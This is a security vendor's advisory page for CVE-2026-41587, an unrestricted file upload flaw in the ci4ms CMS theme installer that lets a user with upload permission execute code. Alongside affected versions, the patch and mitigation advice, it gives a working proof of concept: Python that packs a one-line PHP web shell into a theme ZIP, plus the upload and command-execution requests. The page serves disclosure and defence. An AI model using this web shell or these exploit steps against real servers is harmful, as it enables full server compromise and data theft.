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CVE-2026-41587 ci4-cms-erp/ci4ms

Fix: ci4-cms-erp/ci4ms@b969465

CVE-2026-41587 is a Unrestricted File Upload vulnerability in ci4-cms-erp/ci4ms. A fix is available for ci4-cms-erp/ci4ms — see the affected versions and patch details below.

CI4MS: Unrestricted PHP File Upload via Theme Installation Leads to Authenticated Remote Code Execution

Also known asGHSA-fw49-9xq4-gmx6
Published
May 7, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41587.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs42th percentile — riskier than 42% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐘ci4-cms-erp/ci4ms

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP.

Details

File: modules/Theme/Controllers/Theme.php

After a ZIP is uploaded and extracted to a temporary directory, install_theme_from_tmp() is called unconditionally: Theme.php:51-52

File: modules/Theme/Helpers/themes_helper.php

The helper copies every file matching . from public/templates/<name>/ inside the ZIP directly into public/templates/<name>/ on disk using rename(), with no file-extension allowlist, no MIME check, and no content inspection: themes_helper.php:60-68

Because the web root is public/, any .php file placed there is directly reachable over HTTP.

PHP files are also installed — without filtering — into app/Controllers/templates/<name>/, app/Libraries/templates/<name>/, and other app/ subdirectories: themes_helper.php:31-42

The theme name is derived from the uploaded filename via str_replace('_theme.zip', '', $file->getName()), so uploading evil_theme.zip sets the theme name to evil and the install target to public/templates/evil/: Theme.php:20

PoC

Prerequisites: A backend account with theme upload permission (e.g., backend/themes/upload).

Step 1 — Build the malicious ZIP:

import zipfile, io  
  
buf = io.BytesIO()  
with zipfile.ZipFile(buf, 'w') as z:  
    z.writestr('public/templates/evil/shell.php', '<?php system($_GET["c"]); ?>')  
buf.seek(0)  
with open('evil_theme.zip', 'wb') as f:  
    f.write(buf.read())

Step 2 — Upload:

POST /backend/themes/upload  
Content-Type: multipart/form-data  
  
field name: theme  
file:       evil_theme.zip  

Step 3 — Execute:

GET https://target.com/templates/evil/shell.php?c=id  

Expected response: output of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).

Impact

Type: Authenticated Remote Code Execution (RCE) via arbitrary file write to the web root.

Who is impacted: Any deployment where a backend user has been granted theme upload permission. A superadmin already has full access, but any lower-privileged role granted this permission can use it to write and execute arbitrary PHP on the server, gaining OS-level command execution under the web server process. This can be used for data exfiltration, lateral movement, persistence, or full server compromise.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistci4-cms-erp/ci4ms0.26.0.0&&< 0.31.7.00.31.7.0composer require ci4-cms-erp/ci4ms:^0.31.7.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ci4-cms-erp/ci4ms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update ci4-cms-erp/ci4ms to 0.31.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-41587 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-41587 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-41587. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP. ### Details File: `modules/Theme/Controllers/Theme.php` After a ZIP is uploaded and extracted to a temporary directory, install_theme_from_tmp() is called unconditionally: Theme.php:51-52 File: `modules/Theme/Helpers/themes_helper.php` The helper copies ever
O3 Security · Impact-Aware SCA

Is CVE-2026-41587 in your dependencies?

O3 Security finds CVE-2026-41587 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-41587: ci4-cms-erp/ci4ms RCE | O3 Security